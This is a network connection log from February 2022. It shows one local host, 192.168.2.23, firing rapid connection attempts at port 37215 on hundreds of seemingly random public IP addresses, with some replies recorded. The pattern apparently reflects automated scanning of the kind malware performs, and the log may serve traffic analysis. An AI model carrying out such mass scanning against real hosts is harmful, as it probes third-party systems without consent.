Feb 20, 2022 16:02:45.957380056 CET	27477	37215	192.168.2.23	102.177.138.239
Feb 20, 2022 16:02:45.957412958 CET	27477	37215	192.168.2.23	102.157.79.131
Feb 20, 2022 16:02:45.957454920 CET	27477	37215	192.168.2.23	102.154.241.198
Feb 20, 2022 16:02:45.957504034 CET	27477	37215	192.168.2.23	102.244.181.68
Feb 20, 2022 16:02:45.957534075 CET	27477	37215	192.168.2.23	102.210.211.62
Feb 20, 2022 16:02:45.957576036 CET	27477	37215	192.168.2.23	102.208.218.2
Feb 20, 2022 16:02:45.957617044 CET	27477	37215	192.168.2.23	102.255.14.50
Feb 20, 2022 16:02:45.957659006 CET	27477	37215	192.168.2.23	102.129.202.45
Feb 20, 2022 16:02:45.957704067 CET	27477	37215	192.168.2.23	102.183.73.188
Feb 20, 2022 16:02:45.957742929 CET	27477	37215	192.168.2.23	102.235.200.47
Feb 20, 2022 16:02:45.957787991 CET	27477	37215	192.168.2.23	102.229.144.234
Feb 20, 2022 16:02:45.957818985 CET	27477	37215	192.168.2.23	102.56.194.77
Feb 20, 2022 16:02:45.957859993 CET	27477	37215	192.168.2.23	102.98.31.180
Feb 20, 2022 16:02:45.957896948 CET	27477	37215	192.168.2.23	102.123.182.5
Feb 20, 2022 16:02:45.957937956 CET	27477	37215	192.168.2.23	102.30.146.243
Feb 20, 2022 16:02:45.957974911 CET	27477	37215	192.168.2.23	102.229.41.105
Feb 20, 2022 16:02:45.958010912 CET	27477	37215	192.168.2.23	102.234.50.2
Feb 20, 2022 16:02:45.958049059 CET	27477	37215	192.168.2.23	102.124.168.98
Feb 20, 2022 16:02:45.958091974 CET	27477	37215	192.168.2.23	102.104.0.49
Feb 20, 2022 16:02:45.958129883 CET	27477	37215	192.168.2.23	102.64.93.15
Feb 20, 2022 16:02:45.958168030 CET	27477	37215	192.168.2.23	102.116.224.57
Feb 20, 2022 16:02:45.958219051 CET	27477	37215	192.168.2.23	102.86.44.103
Feb 20, 2022 16:02:45.958252907 CET	27477	37215	192.168.2.23	102.144.181.210
Feb 20, 2022 16:02:45.958290100 CET	27477	37215	192.168.2.23	102.230.192.200
Feb 20, 2022 16:02:45.958338976 CET	27477	37215	192.168.2.23	102.140.154.43
Feb 20, 2022 16:02:45.958374977 CET	27477	37215	192.168.2.23	102.161.87.240
Feb 20, 2022 16:02:45.958415031 CET	27477	37215	192.168.2.23	102.70.6.226
Feb 20, 2022 16:02:45.958462954 CET	27477	37215	192.168.2.23	102.184.6.218
Feb 20, 2022 16:02:45.958493948 CET	27477	37215	192.168.2.23	102.1.190.14
Feb 20, 2022 16:02:45.958533049 CET	27477	37215	192.168.2.23	102.133.84.210
Feb 20, 2022 16:02:45.958569050 CET	27477	37215	192.168.2.23	102.12.77.2
Feb 20, 2022 16:02:45.958616972 CET	27477	37215	192.168.2.23	102.46.136.190
Feb 20, 2022 16:02:45.958651066 CET	27477	37215	192.168.2.23	102.154.255.7
Feb 20, 2022 16:02:45.958687067 CET	27477	37215	192.168.2.23	102.210.144.51
Feb 20, 2022 16:02:45.958734035 CET	27477	37215	192.168.2.23	102.45.97.92
Feb 20, 2022 16:02:45.958772898 CET	27477	37215	192.168.2.23	102.85.218.190
Feb 20, 2022 16:02:45.958806992 CET	27477	37215	192.168.2.23	102.92.91.246
Feb 20, 2022 16:02:45.958842993 CET	27477	37215	192.168.2.23	102.68.168.248
Feb 20, 2022 16:02:45.958894014 CET	27477	37215	192.168.2.23	102.207.130.82
Feb 20, 2022 16:02:45.958926916 CET	27477	37215	192.168.2.23	102.110.111.247
Feb 20, 2022 16:02:45.958966970 CET	27477	37215	192.168.2.23	102.164.239.127
Feb 20, 2022 16:02:45.959002018 CET	27477	37215	192.168.2.23	102.50.30.113
Feb 20, 2022 16:02:45.959039927 CET	27477	37215	192.168.2.23	102.59.64.234
Feb 20, 2022 16:02:45.959078074 CET	27477	37215	192.168.2.23	102.126.50.217
Feb 20, 2022 16:02:45.959130049 CET	27477	37215	192.168.2.23	102.217.227.161
Feb 20, 2022 16:02:45.959167957 CET	27477	37215	192.168.2.23	102.116.32.71
Feb 20, 2022 16:02:45.959199905 CET	27477	37215	192.168.2.23	102.182.54.40
Feb 20, 2022 16:02:45.959238052 CET	27477	37215	192.168.2.23	102.13.31.22
Feb 20, 2022 16:02:45.959280014 CET	27477	37215	192.168.2.23	102.25.82.23
Feb 20, 2022 16:02:45.959317923 CET	27477	37215	192.168.2.23	102.173.4.98
Feb 20, 2022 16:02:45.959358931 CET	27477	37215	192.168.2.23	102.75.20.21
Feb 20, 2022 16:02:45.959400892 CET	27477	37215	192.168.2.23	102.28.180.53
Feb 20, 2022 16:02:45.959443092 CET	27477	37215	192.168.2.23	102.232.200.119
Feb 20, 2022 16:02:45.959480047 CET	27477	37215	192.168.2.23	102.169.133.85
Feb 20, 2022 16:02:45.959523916 CET	27477	37215	192.168.2.23	102.222.235.48
Feb 20, 2022 16:02:45.959572077 CET	27477	37215	192.168.2.23	102.123.117.167
Feb 20, 2022 16:02:45.959619045 CET	27477	37215	192.168.2.23	102.133.249.118
Feb 20, 2022 16:02:45.959651947 CET	27477	37215	192.168.2.23	102.42.101.169
Feb 20, 2022 16:02:45.959690094 CET	27477	37215	192.168.2.23	102.238.166.95
Feb 20, 2022 16:02:45.959732056 CET	27477	37215	192.168.2.23	102.191.19.113
Feb 20, 2022 16:02:45.959769011 CET	27477	37215	192.168.2.23	102.30.89.163
Feb 20, 2022 16:02:45.959814072 CET	27477	37215	192.168.2.23	102.100.76.165
Feb 20, 2022 16:02:45.959849119 CET	27477	37215	192.168.2.23	102.123.39.62
Feb 20, 2022 16:02:45.959891081 CET	27477	37215	192.168.2.23	102.70.90.209
Feb 20, 2022 16:02:45.959939003 CET	27477	37215	192.168.2.23	102.199.203.163
Feb 20, 2022 16:02:45.959965944 CET	27477	37215	192.168.2.23	102.237.227.41
Feb 20, 2022 16:02:45.960011005 CET	27477	37215	192.168.2.23	102.254.205.233
Feb 20, 2022 16:02:45.960041046 CET	27477	37215	192.168.2.23	102.98.230.128
Feb 20, 2022 16:02:45.960083961 CET	27477	37215	192.168.2.23	102.16.150.13
Feb 20, 2022 16:02:45.960119963 CET	27477	37215	192.168.2.23	102.84.183.229
Feb 20, 2022 16:02:45.960156918 CET	27477	37215	192.168.2.23	102.125.64.173
Feb 20, 2022 16:02:45.960205078 CET	27477	37215	192.168.2.23	102.142.175.23
Feb 20, 2022 16:02:45.960247040 CET	27477	37215	192.168.2.23	102.100.65.246
Feb 20, 2022 16:02:45.960278988 CET	27477	37215	192.168.2.23	102.86.6.199
Feb 20, 2022 16:02:45.960321903 CET	27477	37215	192.168.2.23	102.207.171.73
Feb 20, 2022 16:02:45.960374117 CET	27477	37215	192.168.2.23	102.233.118.177
Feb 20, 2022 16:02:45.960406065 CET	27477	37215	192.168.2.23	102.254.104.186
Feb 20, 2022 16:02:45.960453987 CET	27477	37215	192.168.2.23	102.128.135.94
Feb 20, 2022 16:02:45.960486889 CET	27477	37215	192.168.2.23	102.200.63.110
Feb 20, 2022 16:02:45.960537910 CET	27477	37215	192.168.2.23	102.63.224.190
Feb 20, 2022 16:02:45.960568905 CET	27477	37215	192.168.2.23	102.2.55.64
Feb 20, 2022 16:02:45.960606098 CET	27477	37215	192.168.2.23	102.43.120.36
Feb 20, 2022 16:02:45.960644960 CET	27477	37215	192.168.2.23	102.138.20.222
Feb 20, 2022 16:02:45.960680962 CET	27477	37215	192.168.2.23	102.131.151.76
Feb 20, 2022 16:02:45.960719109 CET	27477	37215	192.168.2.23	102.140.71.101
Feb 20, 2022 16:02:45.960761070 CET	27477	37215	192.168.2.23	102.135.191.135
Feb 20, 2022 16:02:45.960798979 CET	27477	37215	192.168.2.23	102.1.230.39
Feb 20, 2022 16:02:45.960839987 CET	27477	37215	192.168.2.23	102.143.130.25
Feb 20, 2022 16:02:45.960884094 CET	27477	37215	192.168.2.23	102.144.242.189
Feb 20, 2022 16:02:45.960920095 CET	27477	37215	192.168.2.23	102.91.243.41
Feb 20, 2022 16:02:45.960968018 CET	27477	37215	192.168.2.23	102.155.192.254
Feb 20, 2022 16:02:45.961003065 CET	27477	37215	192.168.2.23	102.225.201.68
Feb 20, 2022 16:02:45.961035967 CET	27477	37215	192.168.2.23	102.164.39.142
Feb 20, 2022 16:02:45.961081982 CET	27477	37215	192.168.2.23	102.133.250.219
Feb 20, 2022 16:02:45.961117029 CET	27477	37215	192.168.2.23	102.168.158.12
Feb 20, 2022 16:02:45.961154938 CET	27477	37215	192.168.2.23	102.147.89.120
Feb 20, 2022 16:02:45.961198092 CET	27477	37215	192.168.2.23	102.19.25.89
Feb 20, 2022 16:02:45.961234093 CET	27477	37215	192.168.2.23	102.242.170.176
Feb 20, 2022 16:02:45.961285114 CET	27477	37215	192.168.2.23	102.239.218.77
Feb 20, 2022 16:02:45.961313009 CET	27477	37215	192.168.2.23	102.34.225.118
Feb 20, 2022 16:02:45.961350918 CET	27477	37215	192.168.2.23	102.179.232.102
Feb 20, 2022 16:02:45.961395979 CET	27477	37215	192.168.2.23	102.240.170.91
Feb 20, 2022 16:02:45.961436033 CET	27477	37215	192.168.2.23	102.182.25.27
Feb 20, 2022 16:02:45.961472988 CET	27477	37215	192.168.2.23	102.97.35.17
Feb 20, 2022 16:02:45.961509943 CET	27477	37215	192.168.2.23	102.55.232.149
Feb 20, 2022 16:02:45.961554050 CET	27477	37215	192.168.2.23	102.133.126.174
Feb 20, 2022 16:02:45.961590052 CET	27477	37215	192.168.2.23	102.91.145.183
Feb 20, 2022 16:02:45.961632967 CET	27477	37215	192.168.2.23	102.132.199.187
Feb 20, 2022 16:02:45.961673975 CET	27477	37215	192.168.2.23	102.130.174.78
Feb 20, 2022 16:02:45.961707115 CET	27477	37215	192.168.2.23	102.221.35.100
Feb 20, 2022 16:02:45.961745024 CET	27477	37215	192.168.2.23	102.79.235.246
Feb 20, 2022 16:02:45.961788893 CET	27477	37215	192.168.2.23	102.220.48.126
Feb 20, 2022 16:02:45.961838007 CET	27477	37215	192.168.2.23	102.18.71.76
Feb 20, 2022 16:02:45.961870909 CET	27477	37215	192.168.2.23	102.92.182.140
Feb 20, 2022 16:02:45.961903095 CET	27477	37215	192.168.2.23	102.155.25.224
Feb 20, 2022 16:02:45.961950064 CET	27477	37215	192.168.2.23	102.192.91.83
Feb 20, 2022 16:02:45.961977959 CET	27477	37215	192.168.2.23	102.19.174.2
Feb 20, 2022 16:02:45.962017059 CET	27477	37215	192.168.2.23	102.159.135.110
Feb 20, 2022 16:02:45.962055922 CET	27477	37215	192.168.2.23	102.66.150.35
Feb 20, 2022 16:02:45.962093115 CET	27477	37215	192.168.2.23	102.121.132.16
Feb 20, 2022 16:02:45.962130070 CET	27477	37215	192.168.2.23	102.1.42.121
Feb 20, 2022 16:02:45.962172985 CET	27477	37215	192.168.2.23	102.239.188.120
Feb 20, 2022 16:02:45.962224007 CET	27477	37215	192.168.2.23	102.225.14.117
Feb 20, 2022 16:02:45.962258101 CET	27477	37215	192.168.2.23	102.88.27.167
Feb 20, 2022 16:02:45.962299109 CET	27477	37215	192.168.2.23	102.42.36.196
Feb 20, 2022 16:02:45.962337017 CET	27477	37215	192.168.2.23	102.54.158.177
Feb 20, 2022 16:02:45.962378025 CET	27477	37215	192.168.2.23	102.30.6.142
Feb 20, 2022 16:02:45.962420940 CET	27477	37215	192.168.2.23	102.58.255.240
Feb 20, 2022 16:02:45.962459087 CET	27477	37215	192.168.2.23	102.165.91.130
Feb 20, 2022 16:02:45.962496996 CET	27477	37215	192.168.2.23	102.174.244.143
Feb 20, 2022 16:02:45.962533951 CET	27477	37215	192.168.2.23	102.136.249.127
Feb 20, 2022 16:02:45.962574959 CET	27477	37215	192.168.2.23	102.172.137.108
Feb 20, 2022 16:02:45.962613106 CET	27477	37215	192.168.2.23	102.18.201.105
Feb 20, 2022 16:02:45.962661028 CET	27477	37215	192.168.2.23	102.248.111.24
Feb 20, 2022 16:02:45.962687969 CET	27477	37215	192.168.2.23	102.22.209.250
Feb 20, 2022 16:02:45.962742090 CET	27477	37215	192.168.2.23	102.86.238.135
Feb 20, 2022 16:02:45.962776899 CET	27477	37215	192.168.2.23	102.245.118.70
Feb 20, 2022 16:02:45.962805033 CET	27477	37215	192.168.2.23	102.221.4.109
Feb 20, 2022 16:02:45.962846041 CET	27477	37215	192.168.2.23	102.238.50.138
Feb 20, 2022 16:02:45.962898016 CET	27477	37215	192.168.2.23	102.149.238.50
Feb 20, 2022 16:02:45.962927103 CET	27477	37215	192.168.2.23	102.5.109.167
Feb 20, 2022 16:02:45.962976933 CET	27477	37215	192.168.2.23	102.251.207.227
Feb 20, 2022 16:02:45.963006020 CET	27477	37215	192.168.2.23	102.163.45.39
Feb 20, 2022 16:02:45.963043928 CET	27477	37215	192.168.2.23	102.52.148.117
Feb 20, 2022 16:02:45.963082075 CET	27477	37215	192.168.2.23	102.184.43.201
Feb 20, 2022 16:02:45.963129044 CET	27477	37215	192.168.2.23	102.131.45.7
Feb 20, 2022 16:02:45.963169098 CET	27477	37215	192.168.2.23	102.35.18.146
Feb 20, 2022 16:02:45.963210106 CET	27477	37215	192.168.2.23	102.112.52.66
Feb 20, 2022 16:02:45.963249922 CET	27477	37215	192.168.2.23	102.91.62.21
Feb 20, 2022 16:02:45.963287115 CET	27477	37215	192.168.2.23	102.83.35.140
Feb 20, 2022 16:02:45.963325024 CET	27477	37215	192.168.2.23	102.19.127.198
Feb 20, 2022 16:02:45.963366985 CET	27477	37215	192.168.2.23	102.44.171.143
Feb 20, 2022 16:02:45.963402033 CET	27477	37215	192.168.2.23	102.244.203.116
Feb 20, 2022 16:02:45.963443041 CET	27477	37215	192.168.2.23	102.81.68.168
Feb 20, 2022 16:02:45.963485956 CET	27477	37215	192.168.2.23	102.40.134.125
Feb 20, 2022 16:02:45.963521957 CET	27477	37215	192.168.2.23	102.132.101.116
Feb 20, 2022 16:02:45.963579893 CET	27477	37215	192.168.2.23	102.153.99.86
Feb 20, 2022 16:02:45.963613033 CET	27477	37215	192.168.2.23	102.204.207.217
Feb 20, 2022 16:02:45.963654995 CET	27477	37215	192.168.2.23	102.107.117.203
Feb 20, 2022 16:02:45.963696957 CET	27477	37215	192.168.2.23	102.212.211.113
Feb 20, 2022 16:02:45.963737965 CET	27477	37215	192.168.2.23	102.67.100.47
Feb 20, 2022 16:02:45.963779926 CET	27477	37215	192.168.2.23	102.102.192.238
Feb 20, 2022 16:02:45.963821888 CET	27477	37215	192.168.2.23	102.80.187.220
Feb 20, 2022 16:02:45.963870049 CET	27477	37215	192.168.2.23	102.138.18.236
Feb 20, 2022 16:02:45.963897943 CET	27477	37215	192.168.2.23	102.57.140.100
Feb 20, 2022 16:02:45.963938951 CET	27477	37215	192.168.2.23	102.23.162.69
Feb 20, 2022 16:02:45.963980913 CET	27477	37215	192.168.2.23	102.71.74.183
Feb 20, 2022 16:02:45.964018106 CET	27477	37215	192.168.2.23	102.45.231.40
Feb 20, 2022 16:02:45.964052916 CET	27477	37215	192.168.2.23	102.152.115.63
Feb 20, 2022 16:02:45.964090109 CET	27477	37215	192.168.2.23	102.249.196.60
Feb 20, 2022 16:02:45.964128017 CET	27477	37215	192.168.2.23	102.215.127.64
Feb 20, 2022 16:02:45.964169979 CET	27477	37215	192.168.2.23	102.239.121.182
Feb 20, 2022 16:02:45.964220047 CET	27477	37215	192.168.2.23	102.207.52.151
Feb 20, 2022 16:02:45.964248896 CET	27477	37215	192.168.2.23	102.150.133.36
Feb 20, 2022 16:02:45.964289904 CET	27477	37215	192.168.2.23	102.157.37.98
Feb 20, 2022 16:02:45.964324951 CET	27477	37215	192.168.2.23	102.176.201.208
Feb 20, 2022 16:02:45.964361906 CET	27477	37215	192.168.2.23	102.57.228.15
Feb 20, 2022 16:02:45.964404106 CET	27477	37215	192.168.2.23	102.9.248.212
Feb 20, 2022 16:02:45.964442968 CET	27477	37215	192.168.2.23	102.167.106.183
Feb 20, 2022 16:02:45.964493990 CET	27477	37215	192.168.2.23	102.170.0.141
Feb 20, 2022 16:02:45.964525938 CET	27477	37215	192.168.2.23	102.15.204.153
Feb 20, 2022 16:02:45.964569092 CET	27477	37215	192.168.2.23	102.160.72.167
Feb 20, 2022 16:02:45.964617968 CET	27477	37215	192.168.2.23	102.126.203.211
Feb 20, 2022 16:02:45.964654922 CET	27477	37215	192.168.2.23	102.98.38.136
Feb 20, 2022 16:02:45.964685917 CET	27477	37215	192.168.2.23	102.158.77.26
Feb 20, 2022 16:02:45.964729071 CET	27477	37215	192.168.2.23	102.121.61.161
Feb 20, 2022 16:02:45.964766026 CET	27477	37215	192.168.2.23	102.33.165.178
Feb 20, 2022 16:02:45.964807987 CET	27477	37215	192.168.2.23	102.243.0.97
Feb 20, 2022 16:02:45.964849949 CET	27477	37215	192.168.2.23	102.99.188.120
Feb 20, 2022 16:02:45.964893103 CET	27477	37215	192.168.2.23	102.77.189.244
Feb 20, 2022 16:02:45.964939117 CET	27477	37215	192.168.2.23	102.221.230.249
Feb 20, 2022 16:02:45.964967012 CET	27477	37215	192.168.2.23	102.68.192.118
Feb 20, 2022 16:02:45.965013981 CET	27477	37215	192.168.2.23	102.61.3.18
Feb 20, 2022 16:02:45.965046883 CET	27477	37215	192.168.2.23	102.189.96.66
Feb 20, 2022 16:02:45.965085030 CET	27477	37215	192.168.2.23	102.242.163.183
Feb 20, 2022 16:02:45.965120077 CET	27477	37215	192.168.2.23	102.1.242.117
Feb 20, 2022 16:02:45.965161085 CET	27477	37215	192.168.2.23	102.169.18.64
Feb 20, 2022 16:02:45.965203047 CET	27477	37215	192.168.2.23	102.32.124.95
Feb 20, 2022 16:02:45.965243101 CET	27477	37215	192.168.2.23	102.140.54.41
Feb 20, 2022 16:02:45.965293884 CET	27477	37215	192.168.2.23	102.124.81.46
Feb 20, 2022 16:02:45.965334892 CET	27477	37215	192.168.2.23	102.176.21.188
Feb 20, 2022 16:02:45.965365887 CET	27477	37215	192.168.2.23	102.217.202.21
Feb 20, 2022 16:02:45.965409040 CET	27477	37215	192.168.2.23	102.155.119.214
Feb 20, 2022 16:02:45.965532064 CET	55344	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:45.965708017 CET	44846	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:45.987324953 CET	37215	27221	102.26.11.1	192.168.2.23
Feb 20, 2022 16:02:46.019279957 CET	37215	27477	102.154.173.63	192.168.2.23
Feb 20, 2022 16:02:46.019752979 CET	37215	27477	102.153.34.73	192.168.2.23
Feb 20, 2022 16:02:46.076260090 CET	37215	27477	102.30.89.163	192.168.2.23
Feb 20, 2022 16:02:46.092230082 CET	37215	27477	102.64.68.159	192.168.2.23
Feb 20, 2022 16:02:46.148597002 CET	37215	27477	102.48.246.11	192.168.2.23
Feb 20, 2022 16:02:46.164251089 CET	37215	27477	102.26.45.234	192.168.2.23
Feb 20, 2022 16:02:46.174767971 CET	37215	27477	102.223.81.151	192.168.2.23
Feb 20, 2022 16:02:46.176573038 CET	37215	27477	102.66.150.35	192.168.2.23
Feb 20, 2022 16:02:46.185008049 CET	37215	27477	102.140.71.101	192.168.2.23
Feb 20, 2022 16:02:46.229355097 CET	37215	27477	102.28.13.153	192.168.2.23
Feb 20, 2022 16:02:46.256083965 CET	37215	44846	156.250.23.26	192.168.2.23
Feb 20, 2022 16:02:46.256191969 CET	44846	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:46.256500006 CET	44846	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:46.256577969 CET	44846	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:46.256655931 CET	44848	37215	192.168.2.23	156.250.23.26
Feb 20, 2022 16:02:46.258913994 CET	37215	55344	156.244.114.4	192.168.2.23
Feb 20, 2022 16:02:46.258990049 CET	55344	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:46.259114027 CET	55344	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:46.259171963 CET	55344	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:46.259309053 CET	55350	37215	192.168.2.23	156.244.114.4
Feb 20, 2022 16:02:46.301526070 CET	37215	27477	102.153.173.218	192.168.2.23
Feb 20, 2022 16:02:46.414822102 CET	37215	27477	102.30.146.243	192.168.2.23
Feb 20, 2022 16:02:46.414880991 CET	27477	37215	192.168.2.23	102.30.146.243
Feb 20, 2022 16:02:46.415128946 CET	37215	27477	102.30.146.243	192.168.2.23
Feb 20, 2022 16:02:46.429785013 CET	37215	27221	102.153.168.106	192.168.2.23
Feb 20, 2022 16:02:46.432667971 CET	37215	27477	102.29.244.248	192.168.2.23
Feb 20, 2022 16:02:46.507256031 CET	37215	27221	102.155.48.195	192.168.2.23
Feb 20, 2022 16:02:46.507282019 CET	37215	27221	102.155.48.195	192.168.2.23
Feb 20, 2022 16:02:46.507391930 CET	27221	37215	192.168.2.23	102.155.48.195
Feb 20, 2022 16:02:46.543859005 CET	37215	27477	102.154.241.198	192.168.2.23
Feb 20, 2022 16:02:46.545295954 CET	37215	27477	102.153.94.254	192.168.2.23
Feb 20, 2022 16:02:46.611968994 CET	37215	27221	102.24.156.179	192.168.2.23
Feb 20, 2022 16:02:46.680746078 CET	27221	37215	192.168.2.23	154.162.151.39
Feb 20, 2022 16:02:46.680767059 CET	27221	37215	192.168.2.23	154.126.167.215
Feb 20, 2022 16:02:46.680816889 CET	27221	37215	192.168.2.23	154.92.172.109
Feb 20, 2022 16:02:46.680824995 CET	27221	37215	192.168.2.23	154.17.77.181
Feb 20, 2022 16:02:46.680876017 CET	27221	37215	192.168.2.23	154.211.101.244
Feb 20, 2022 16:02:46.680888891 CET	27221	37215	192.168.2.23	154.100.57.224
Feb 20, 2022 16:02:46.680903912 CET	27221	37215	192.168.2.23	154.108.28.224
Feb 20, 2022 16:02:46.680969000 CET	27221	37215	192.168.2.23	154.228.86.219
Feb 20, 2022 16:02:46.680990934 CET	27221	37215	192.168.2.23	154.6.15.140
Feb 20, 2022 16:02:46.681010962 CET	27221	37215	192.168.2.23	154.31.203.98
Feb 20, 2022 16:02:46.681035995 CET	27221	37215	192.168.2.23	154.174.188.64
Feb 20, 2022 16:02:46.681037903 CET	27221	37215	192.168.2.23	154.203.222.212
Feb 20, 2022 16:02:46.681063890 CET	27221	37215	192.168.2.23	154.249.203.3
Feb 20, 2022 16:02:46.681077003 CET	27221	37215	192.168.2.23	154.242.197.138
Feb 20, 2022 16:02:46.681124926 CET	27221	37215	192.168.2.23	154.191.38.242
Feb 20, 2022 16:02:46.681143999 CET	27221	37215	192.168.2.23	154.170.196.241
Feb 20, 2022 16:02:46.681157112 CET	27221	37215	192.168.2.23	154.234.129.103
Feb 20, 2022 16:02:46.681190968 CET	27221	37215	192.168.2.23	154.109.122.72
Feb 20, 2022 16:02:46.681225061 CET	27221	37215	192.168.2.23	154.194.194.70
Feb 20, 2022 16:02:46.681245089 CET	27221	37215	192.168.2.23	154.131.254.183
Feb 20, 2022 16:02:46.681266069 CET	27221	37215	192.168.2.23	154.221.23.8
Feb 20, 2022 16:02:46.681298018 CET	27221	37215	192.168.2.23	154.203.25.224
Feb 20, 2022 16:02:46.681318045 CET	27221	37215	192.168.2.23	154.38.197.148
Feb 20, 2022 16:02:46.681350946 CET	27221	37215	192.168.2.23	154.221.7.244
Feb 20, 2022 16:02:46.681370020 CET	27221	37215	192.168.2.23	154.255.69.26
Feb 20, 2022 16:02:46.681397915 CET	27221	37215	192.168.2.23	154.159.116.121
Feb 20, 2022 16:02:46.681423903 CET	27221	37215	192.168.2.23	154.27.121.150
Feb 20, 2022 16:02:46.681454897 CET	27221	37215	192.168.2.23	154.132.218.113
Feb 20, 2022 16:02:46.681498051 CET	27221	37215	192.168.2.23	154.226.81.7
Feb 20, 2022 16:02:46.681502104 CET	27221	37215	192.168.2.23	154.247.229.78
Feb 20, 2022 16:02:46.681541920 CET	27221	37215	192.168.2.23	154.83.176.251
Feb 20, 2022 16:02:46.681551933 CET	27221	37215	192.168.2.23	154.210.46.152
Feb 20, 2022 16:02:46.681561947 CET	27221	37215	192.168.2.23	154.147.78.107
Feb 20, 2022 16:02:46.681592941 CET	27221	37215	192.168.2.23	154.6.88.248
Feb 20, 2022 16:02:46.681617022 CET	27221	37215	192.168.2.23	154.121.51.8
Feb 20, 2022 16:02:46.681648016 CET	27221	37215	192.168.2.23	154.128.62.64
Feb 20, 2022 16:02:46.681683064 CET	27221	37215	192.168.2.23	154.108.217.52
Feb 20, 2022 16:02:46.681690931 CET	27221	37215	192.168.2.23	154.26.250.153
Feb 20, 2022 16:02:46.681719065 CET	27221	37215	192.168.2.23	154.46.113.77
Feb 20, 2022 16:02:46.681755066 CET	27221	37215	192.168.2.23	154.133.131.138
Feb 20, 2022 16:02:46.681785107 CET	27221	37215	192.168.2.23	154.122.149.113
Feb 20, 2022 16:02:46.681827068 CET	27221	37215	192.168.2.23	154.121.229.2
Feb 20, 2022 16:02:46.681828022 CET	27221	37215	192.168.2.23	154.117.129.245
Feb 20, 2022 16:02:46.681860924 CET	27221	37215	192.168.2.23	154.124.35.152
Feb 20, 2022 16:02:46.681874990 CET	27221	37215	192.168.2.23	154.219.139.190
Feb 20, 2022 16:02:46.681906939 CET	27221	37215	192.168.2.23	154.124.150.191
Feb 20, 2022 16:02:46.681926966 CET	27221	37215	192.168.2.23	154.148.102.215
Feb 20, 2022 16:02:46.681955099 CET	27221	37215	192.168.2.23	154.181.167.110
Feb 20, 2022 16:02:46.681987047 CET	27221	37215	192.168.2.23	154.223.25.47
Feb 20, 2022 16:02:46.682013988 CET	27221	37215	192.168.2.23	154.179.206.251
Feb 20, 2022 16:02:46.682039022 CET	27221	37215	192.168.2.23	154.31.58.53
Feb 20, 2022 16:02:46.682070971 CET	27221	37215	192.168.2.23	154.175.173.130
Feb 20, 2022 16:02:46.682102919 CET	27221	37215	192.168.2.23	154.65.175.74
Feb 20, 2022 16:02:46.682128906 CET	27221	37215	192.168.2.23	154.168.223.11
Feb 20, 2022 16:02:46.682148933 CET	27221	37215	192.168.2.23	154.71.100.250
Feb 20, 2022 16:02:46.682171106 CET	27221	37215	192.168.2.23	154.142.19.227
Feb 20, 2022 16:02:46.682198048 CET	27221	37215	192.168.2.23	154.208.51.80
Feb 20, 2022 16:02:46.682234049 CET	27221	37215	192.168.2.23	154.56.13.211
Feb 20, 2022 16:02:46.682251930 CET	27221	37215	192.168.2.23	154.113.227.48
Feb 20, 2022 16:02:46.682284117 CET	27221	37215	192.168.2.23	154.63.167.166
Feb 20, 2022 16:02:46.682313919 CET	27221	37215	192.168.2.23	154.249.31.189
Feb 20, 2022 16:02:46.682322979 CET	27221	37215	192.168.2.23	154.220.216.170
Feb 20, 2022 16:02:46.682353973 CET	27221	37215	192.168.2.23	154.51.182.190
Feb 20, 2022 16:02:46.682384968 CET	27221	37215	192.168.2.23	154.90.94.39
Feb 20, 2022 16:02:46.682399988 CET	27221	37215	192.168.2.23	154.149.235.216
Feb 20, 2022 16:02:46.682426929 CET	27221	37215	192.168.2.23	154.173.217.20
Feb 20, 2022 16:02:46.682461023 CET	27221	37215	192.168.2.23	154.201.193.47
Feb 20, 2022 16:02:46.682480097 CET	27221	37215	192.168.2.23	154.105.50.58
Feb 20, 2022 16:02:46.682513952 CET	27221	37215	192.168.2.23	154.220.208.149
Feb 20, 2022 16:02:46.682533026 CET	27221	37215	192.168.2.23	154.189.39.53
Feb 20, 2022 16:02:46.682559967 CET	27221	37215	192.168.2.23	154.242.30.107
Feb 20, 2022 16:02:46.682579994 CET	27221	37215	192.168.2.23	154.165.251.102
Feb 20, 2022 16:02:46.682610989 CET	27221	37215	192.168.2.23	154.129.10.90
Feb 20, 2022 16:02:46.682636976 CET	27221	37215	192.168.2.23	154.55.133.93
Feb 20, 2022 16:02:46.682660103 CET	27221	37215	192.168.2.23	154.250.121.64
Feb 20, 2022 16:02:46.682693005 CET	27221	37215	192.168.2.23	154.79.122.141
Feb 20, 2022 16:02:46.682717085 CET	27221	37215	192.168.2.23	154.242.206.234
Feb 20, 2022 16:02:46.682739973 CET	27221	37215	192.168.2.23	154.172.211.248
Feb 20, 2022 16:02:46.682768106 CET	27221	37215	192.168.2.23	154.33.242.119
Feb 20, 2022 16:02:46.682794094 CET	27221	37215	192.168.2.23	154.36.23.228
Feb 20, 2022 16:02:46.682830095 CET	27221	37215	192.168.2.23	154.123.25.104
Feb 20, 2022 16:02:46.682846069 CET	27221	37215	192.168.2.23	154.67.38.145
Feb 20, 2022 16:02:46.682879925 CET	27221	37215	192.168.2.23	154.220.237.147
Feb 20, 2022 16:02:46.682899952 CET	27221	37215	192.168.2.23	154.131.223.137
Feb 20, 2022 16:02:46.682928085 CET	27221	37215	192.168.2.23	154.211.168.11
Feb 20, 2022 16:02:46.682960987 CET	27221	37215	192.168.2.23	154.174.189.68
Feb 20, 2022 16:02:46.682980061 CET	27221	37215	192.168.2.23	154.99.78.11
Feb 20, 2022 16:02:46.683008909 CET	27221	37215	192.168.2.23	154.186.14.201
Feb 20, 2022 16:02:46.683038950 CET	27221	37215	192.168.2.23	154.248.201.84
Feb 20, 2022 16:02:46.683048964 CET	27221	37215	192.168.2.23	154.143.218.193
Feb 20, 2022 16:02:46.683073997 CET	27221	37215	192.168.2.23	154.234.58.206
Feb 20, 2022 16:02:46.683100939 CET	27221	37215	192.168.2.23	154.235.239.78
Feb 20, 2022 16:02:46.683141947 CET	27221	37215	192.168.2.23	154.179.43.195
Feb 20, 2022 16:02:46.683156967 CET	27221	37215	192.168.2.23	154.26.199.83
Feb 20, 2022 16:02:46.683186054 CET	27221	37215	192.168.2.23	154.22.44.228
